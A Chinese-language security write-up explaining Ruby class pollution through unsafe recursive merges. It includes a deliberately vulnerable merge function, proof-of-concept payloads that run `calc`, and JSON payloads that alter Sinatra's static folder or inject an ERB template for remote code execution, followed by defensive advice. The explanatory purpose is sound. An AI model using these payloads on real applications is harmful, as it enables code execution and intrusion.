浅析Ruby类污染及其在Sinatra框架下的利用
字数 1431 2025-08-22 12:23:18
Ruby类污染及其在Sinatra框架下的利用分析
1. Ruby类污染概述
Ruby类污染(Class Pollution)是一种类似于JavaScript原型链污染的安全漏洞,两者都是由于对象进行不安全的递归合并导致的。这种漏洞允许攻击者通过精心构造的输入修改类的属性或方法,可能导致严重的安全问题。
1.1 与JavaScript原型链污染的对比
-
相似点:
- 都是通过递归合并操作实现的
- 都利用了语言的对象继承机制
- 都可以污染共享的属性或方法
-
不同点:
- Ruby使用类继承体系而非原型链
- Ruby的污染目标通常是类变量(@@)或实例变量(@)
- Ruby的继承关系通过superclass/subclasses访问
2. Ruby类基础
2.1 类定义与变量
class Person
@@cnt = 1 # 类变量(类似静态变量)
# 定义属性访问器
attr_accessor :name, :age
def initialize(name, age)
@name = name # 实例变量
@age = age
end
def greet
"My name is #{@name} and I am #{@age} years old."
end
end
2.2 Ruby对象特殊方法
| 方法 | 描述 |
|---|---|
attr_accessor |
定义实例变量的getter和setter |
initialize |
类的构造方法 |
to_s |
类似toString方法 |
inspect |
用于debug的对象表示 |
method_missing |
调用不存在方法时触发 |
respond_to? |
检查对象是否有某方法 |
send |
根据方法名调用(包括私有方法) |
public_send |
调用公开方法 |
2.3 类继承体系
Ruby中所有类的顶层父类是BasicObject:
class MyClass; end
MyClass.superclass # => Object
Object.superclass # => BasicObject
BasicObject.superclass # => nil
关键属性:
class- 当前对象的类superclass- 父类subclasses- 子类数组instance_variables- 实例变量名数组class_variables- 类变量名数组
3. 不安全的递归合并
3.1 典型漏洞代码
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
3.2 漏洞分析
- 遍历
additional对象中的每个键值对 - 处理嵌套哈希:
- 如果当前对象响应键名:递归合并
- 否则:创建新对象并设置为实例变量
- 处理非哈希值:
- 直接在对象上设置实例变量
- 创建访问器方法
4. 类污染利用场景
4.1 污染当前对象
class A
attr_accessor :x
def initialize(x)
@x = x
end
def merge_with(additional)
recursive_merge(self, additional)
end
def check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
end
# 利用
a = A.new(1)
a.merge_with({"protected_methods": ["`calc`"]})
a.check # 执行calc
4.2 污染父类
class Base
@@cmd = "puts 1"
end
class Cmder < Base
def merge_with(additional)
recursive_merge(self, additional)
end
def check
eval(Base.cmd) # 实际访问的是实例变量@cmd
end
end
# 利用
c = Cmder.new
c.merge_with({"class": {"superclass": {"cmd": "`calc`"}}})
c.check # 执行calc
注意:这会创建实例变量@cmd而非修改类变量@@cmd
4.3 污染随机子类
class Cmder
@@cmd = "puts 1"
def check
eval(Cmder.cmd)
end
end
class Innocent
def merge_with(additional)
recursive_merge(self, additional)
end
end
# 利用 - 通过多次尝试污染Cmder
1000.times do
i = Innocent.new
i.merge_with({
"class": {
"superclass": {
"subclasses": {
"sample": {
"cmd": "`calc`"
}
}
}
}
})
end
c = Cmder.new
c.check # 有概率执行calc
5. Sinatra框架下的利用
5.1 修改静态目录
Sinatra默认配置静态目录的方式:
set :public_folder, File.dirname(__FILE__) + '/static'
污染payload:
{
"class": {
"superclass": {
"superclass": {
"subclasses": {
"sample": {
"public_folder": "E:/Server"
}
}
}
}
}
}
5.2 模板注入RCE
Sinatra模板系统:
template :index do
'%div.title Hello World!'
end
get('/') do
erb :hello
end
污染templates属性实现RCE:
{
"class": {
"superclass": {
"superclass": {
"subclasses": {
"sample": {
"templates": {
"hello": "<%= `calc` %>"
}
}
}
}
}
}
}
6. 防御措施
-
避免不安全的递归合并:
- 对合并操作进行严格的白名单控制
- 限制合并深度
-
输入验证:
- 验证所有外部输入
- 禁止特殊符号和危险方法名
-
使用安全的方法:
- 避免使用
instance_eval、send等危险方法 - 使用
public_send替代send
- 避免使用
-
最小权限原则:
- 限制应用程序运行权限
- 使用沙箱环境
-
监控和日志:
- 记录可疑的类修改操作
- 设置警报机制
7. 总结
Ruby类污染是一种强大的攻击技术,通过不安全的递归合并操作,攻击者可以:
- 修改类的行为和属性
- 覆盖关键配置
- 实现RCE等严重攻击
在Sinatra等框架中,这种技术尤其危险,因为它可以:
- 修改框架的核心配置
- 注入恶意模板
- 改变应用程序的行为
开发人员应当充分了解这种攻击方式,并在代码中实施适当的防护措施。